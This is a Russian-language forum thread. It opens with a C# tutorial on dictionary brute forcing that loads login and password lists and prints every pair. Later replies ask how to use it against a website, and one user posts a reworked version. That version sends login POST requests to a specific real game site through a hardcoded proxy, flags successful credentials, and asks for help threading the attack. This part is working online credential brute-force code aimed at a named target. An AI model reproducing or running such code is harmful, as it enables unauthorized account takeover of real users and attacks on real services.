В данном гайде речь пойдет о BruteForce (В простонародье брут).
Полный перебор (или метод «грубой силы» от англ. brute force) — метод решения задачи путем перебора всех возможных вариантов. Сложность полного перебора зависит от количества всех возможных решений задачи. Если пространство решений очень велико, то полный перебор может не дать результатов в течение нескольких лет или даже столетий.
Брутфорс атаку можно проводить путем полного перебора или же по словарям. В данном руководстве мы рассмотрим реализацию перебора по словарям.
Конечный материал данной статьи (скрин):
[Ссылки могут видеть только зарегистрированные пользователи. ]
Давайте приступим к реализации:
Для реализации данного проекта были созданы следующие классы:
Brute.cs
Выполняет сам перебор
DBLoader.cs
Выполняет загрузку баз
Теперь давайте поближе рассмотрим их структуру и назначение:
Для перебора по словалям нам соответственно нужны сами словари и некий класс, интерфейс(не путать с interface в c#) для удобного вытаскивания ключей(в нашем случаи логинов или паролей) из словарей.
Теперь собственно сам DBLoader.cs:
Код:
public class DBLoader
{
// Массив, который будет хранить базу логинов
public String[] Logins { get; set; }
// Массив, который будет хранить базу паролей
public String[] Passwords { get; set; }
// 2 Флага обозначающих успешно ли загрузились базы
public Boolean LoginsDBLoaded { get; set; }
public Boolean PasswordsDBLoaded { get; set; }
// В конструкторе инициализируем массив логинов и паролей
public DBLoader() { Logins = new string[0]; Passwords = new string[0]; }
// Публичный метод для загрузки логинов
// Если загрузка прошла удачно возвращает True
// В противном случаи False
public bool LoadLogins(string loginsDBPath)
{
LoginsDBLoaded = LoadLoginsDB(loginsDBPath);
return LoginsDBLoaded;
}
// Публичный метод для загрузки паролей
// Если загрузка прошла удачно возвращает True
// В противном случаи False
public bool LoadPasswords(string passwordsDBPath)
{
PasswordsDBLoaded = LoadPasswordsDB(passwordsDBPath);
return PasswordsDBLoaded;
}
// Внутренний метод, который собственно и производит загрузку логинов
private bool LoadLoginsDB(string loginsDBPath)
{
// Проверяем существует ли указанный файл
if (File.Exists(loginsDBPath))
{
try
{
// Читаем все строки файла в массив
Logins = File.ReadAllLines(loginsDBPath);
return true;
}
catch { return false; }
}
else
return false;
}
// Внутренний метод, который собственно и производит загрузку паролей
private bool LoadPasswordsDB(string passwordsDBPath)
{
// Проверяем существует ли указанный файл
if (File.Exists(passwordsDBPath))
{
try
{
// Читаем все строки файла в массив
Passwords = File.ReadAllLines(passwordsDBPath);
return true;
}
catch { return false; }
}
else
return false;
}
}
Как мы видим, описанный выше класс имеет 4 свойства:
(String[]) Logins, Passwords
(Boolean) LoginsDBLoaded, PasswordsDBLoaded
2 Публичных метода:
LoadLogins, LoadPasswords
2 Приватных метода:
LoadLoginsDB, LoadPasswordsDB
Теперь давайте разберем Brute.cs:
Код:
public class Brute
{
public delegate void BruteDelegate(string text);
public event BruteDelegate PairBrutted;
private void OnPairBrutted(string text)
{
if (PairBrutted != null) PairBrutted(text);
}
private DBLoader loader;
public Brute(DBLoader loader)
{
this.loader = loader;
}
/// <summary>
/// Перебор по паролям:
/// Берем пароль из базы паролей и прогоняем им все логины
/// Затем берем следующий пароль и так, пока пароли не кончатся
/// </summary>
public void BruteByPasswords()
{
// Цикл, который бежит по массиву паролей
for (int pwdN = 0; pwdN < loader.Passwords.Length; pwdN++)
{
// Вложенный цикл, который бежит по массиву логинов
for (int logN = 0; logN < loader.Logins.Length; logN++)
{
OnPairBrutted(String.Format("{0}:{1}\n",
loader.Logins[logN],
loader.Passwords[pwdN]));
}
}
}
/// <summary>
/// Перебор по логинам:
/// Берем логин из базы логинов и прогоняем им все пароли
/// Затем берем следующий пароль и так, пока логины не кончатся
/// </summary>
public void BruteByLogins()
{
// Цикл, который бежит по массиву логинов
for (int logN = 0; logN < loader.Logins.Length; logN++)
{
// Вложенный цикл, который бежит по массиву паролей
for (int pwdN = 0; pwdN < loader.Passwords.Length; pwdN++)
{
OnPairBrutted(String.Format("{0}:{1}\n",
loader.Logins[logN],
loader.Passwords[pwdN]));
}
}
}
}
Сам класс реализующий перебор меньше по размерам чем загрузчик, ибо он не содержит никаких алгоритмов для конкретной атаки чего-либо. Он только показывает, как можно осуществить сам перебор по 2м типам: по логинам и по паролям.
Выше описанный класс содержит в сего:
1 Ивент
2 Паблик метода
Гланый класс (наша форма) Main.cs
Код:
public partial class Main : Form
{
private Brute brute;
private DBLoader loader;
public Main()
{
InitializeComponent();
loader = new DBLoader();
brute = new Brute(loader);
brute.PairBrutted += new Brute.BruteDelegate(brute_PairBrutted);
}
private void brute_PairBrutted(string text)
{
rLog.AppendText(text);
}
private void bLoad_Click(object sender, EventArgs e)
{
// Очищаем текстовое поле
rLog.Clear();
// Если загрузка базы логинов прошла успешно
if (loader.LoadLogins(tLoginsPath.Text))
rLog.AppendText(String.Format("База логинов загружена: {0} шт.\n", loader.Logins.Length.ToString()));
else
rLog.AppendText("Базу логинов загрузить не удалось\n");
// Если загрузка базы паролей прошла успешно
if (loader.LoadPasswords(tPasswordsPath.Text))
rLog.AppendText(String.Format("База паролей загружена: {0} шт.\n", loader.Logins.Length.ToString()));
else
rLog.AppendText("Базу паролей загрузить не удалось\n");
}
private void bSelectLoginDb_Click(object sender, EventArgs e)
{
// Создаем диалог открытия файла
// Устанавливая ему свойства:
// - Начальный каталог
// - Название файла по умолчанию
// - Фильтр
using (OpenFileDialog op = new OpenFileDialog() {
InitialDirectory = Application.StartupPath,
FileName = String.Empty,
Filter = "Text Files|*.txt" })
{
// Если результат диалогна это нажатия кнопки ОК
if (op.ShowDialog() == DialogResult.OK)
{
// То указываем в наше текстовое поле путь файла,
// который мы выбрали
tLoginsPath.Text = op.FileName;
}
}
}
private void bSelectPwdDb_Click(object sender, EventArgs e)
{
// Создаем диалог открытия файла
// Устанавливая ему свойства:
// - Начальный каталог
// - Название файла по умолчанию
// - Фильтр
using (OpenFileDialog op = new OpenFileDialog()
{
InitialDirectory = Application.StartupPath,
FileName = String.Empty,
Filter = "Text Files|*.txt"
})
{
// Если результат диалогна это нажатия кнопки ОК
if (op.ShowDialog() == DialogResult.OK)
{
// То указываем в наше текстовое поле путь файла,
// который мы выбрали
tPasswordsPath.Text = op.FileName;
}
}
}
private void bStart_Click(object sender, EventArgs e)
{
// Проверяем, загружены
if (loader.LoginsDBLoaded && loader.PasswordsDBLoaded)
{
// Если выбран перебор по паролям
if (rByPasswords.Checked)
brute.BruteByPasswords();
// Если выбран перебор по логинам
else
brute.BruteByLogins();
}
else
rLog.AppendText("Невозможно начать пока базы не загружены!\n");
}
}
Результаты:
В тестах я использовал базы по 5 логинов и 5 паролей вида:
login1 ... login5 и password1 ... password5
Как вы успели заметить и проанализировать или вспомнить мои сообщения по этому вопросу:
Перебор по паролям:
Берем пароль из базы паролей и прогоняем им все логины.
Затем берем следующий пароль и так, пока пароли не кончатся.
Перебор по логинам:
Берем логин из базы логинов и прогоняем им все пароли.
Затем берем следующий пароль и так, пока логины не кончатся.
На этом первая часть Теории брута заканчивается. Спасибо за уделенное внимание
Во вложении находится готовый проект на Visual Studio 2010.
________________ Fireball - Быстрое снятие и загрузка скриншотов на хостинг.
Я конечно дико извиняюсь,что поднимаю столь давнюю тему! Но прошу помочь мне! Как сделать, чтобы данный брут брутил в интернете? Сайт без капчи. Прошу обьяснить как можно понятнее.
Я конечно дико извиняюсь,что поднимаю столь давнюю тему! Но прошу помочь мне! Как сделать, чтобы данный брут брутил в интернете? Сайт без капчи. Прошу обьяснить как можно понятнее.
А никак... что бы он брутил в интернете надо дописать собственно модуль отправки данных на сайт и анализатор ответа. (Ну ет в самом ленивом случае... в идеале надо еще распаралелить эту хрень и настроить использование прокси...).
Взял твой проект и собсно переделал Brute.cs под себя, вот что получилось:
Код:
using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.IO;
using System.Threading;
using System.Windows.Forms;
namespace BruteTheory1
{
public class Brute
{
public delegate void BruteDelegate(string text);
public event BruteDelegate PairBrutted;
private void OnPairBrutted(string text)
{
if (PairBrutted != null) PairBrutted(text);
}
private DBLoader loader;
public Brute(DBLoader loader)
{
this.loader = loader;
}
/// <summary>
/// Перебор по паролям:
/// Берем пароль из базы паролей и прогоняем им все логины
/// Затем берем следующий пароль и так, пока пароли не кончатся
/// </summary>
public void BruteByPasswords()
{
foreach (string password in loader.Passwords)
{
foreach (string login in loader.Logins)
{
Thread.Sleep(1000);
string txt = SendPost("http://www.aion1.ru/index.php?action=login", string.Format("&login_name={0}&login_password={1}&login=submit", login, password), "http://aion1.ru/index.php", false);
if (txt.IndexOf("Ошибка авторизации") == -1)
{
OnPairBrutted(String.Format("{0}:{1}\n",
login,
password));
}
else
{
OnPairBrutted(String.Format("{0}:{1} ----------------\n",
login,
password));
}
}
}
}
/// <summary>
/// Перебор по логинам:
/// Берем логин из базы логинов и прогоняем им все пароли
/// Затем берем следующий пароль и так, пока логины не кончатся
/// </summary>
public void BruteByLogins()
{
// Цикл, который бежит по массиву логинов
foreach (string login in loader.Logins)
{
foreach (string password in loader.Passwords)
{
Thread.Sleep(1000);
string txt = SendPost("http://www.aion1.ru/index.php?action=login", string.Format("&login_name={0}&login_password={1}&login=submit", login, password), "http://aion1.ru/index.php", false);
if (txt.IndexOf("Ошибка авторизации") == -1)
{
OnPairBrutted(String.Format("{0}:{1}\n",
login,
password));
}
else
{
OnPairBrutted(String.Format("{0}:{1} ----------------\n",
login,
password));
}
}
}
}
protected static string SendPost(string url, string postData, string referer, bool allowRedirect)
{
var httpWebRequest = (HttpWebRequest)WebRequest.Create(url);
httpWebRequest.AllowAutoRedirect = allowRedirect;
httpWebRequest.Method = "POST";
httpWebRequest.UserAgent = "User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 3.5.30729)";
httpWebRequest.ContentType = "application/x-www-form-urlencoded";
httpWebRequest.Timeout = 10000;
System.Net.ServicePointManager.Expect100Continue = false;
string Cookies = "";
string Proxy = "http://" + "78.93.66.178:8080";
if (!string.IsNullOrEmpty(Proxy))
{
httpWebRequest.Proxy = new WebProxy(Proxy);
}
if (!string.IsNullOrEmpty(Cookies))
{
httpWebRequest.Headers.Add(HttpRequestHeader.Cookie, Cookies);
}
if (!string.IsNullOrEmpty(referer))
{
httpWebRequest.Referer = referer;
}
var buffer = Encoding.ASCII.GetBytes(postData);
httpWebRequest.ContentLength = buffer.Length;
using (var writer = httpWebRequest.GetRequestStream())
{
writer.Write(buffer, 0, buffer.Length);
}
using (var httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse())
{
Cookies = string.IsNullOrEmpty(httpWebResponse.Headers["Set-Cookie"]) ? "" : httpWebResponse.Headers["Set-Cookie"];
using (var stream = httpWebResponse.GetResponseStream())
{
using (var reader = new StreamReader(stream, Encoding.GetEncoding("UTF-8")))
{
return reader.ReadToEnd();
}
}
}
}
}
}
Я поначалу думал, что оно просто не работает, процесс зависал наглухо. После чего решил сделать меньше паролей и логинов для брута, на мое удивление все заработало, правда немного не так как нужно, при нажатии кнопки Начать брут повисает и потом отдает сразу все совпадения, а не по одному за цикл.
Вот и сабж, как прикрутить методы с брутом в отдельный поток, когда попытался сделать это из мейна мне выскочил эксепшен, мол нельзя обратится к переменной "rLog" из другого процесса.
ЗЫ Надеюсь я исчерпывающе объяснил суть проблемы
Последний раз редактировалось Yukikaze; 24.12.2011 в 04:27.
Для создания потоков при работе с формой есть
[Ссылки могут видеть только зарегистрированные пользователи. ]
Первый пример кода, просто замени действия из примера на свои. При нахождении логина-пароля вызывай событие backgroundWorker1_ProgressChanged и в нем уже работай с элементом из формы.
Что за бредовый вопрос, если уже набиваешь посты то хоть нормальными вопросами...
Backgroundworker - класс для организации отдельного потока.
Queue - очередь...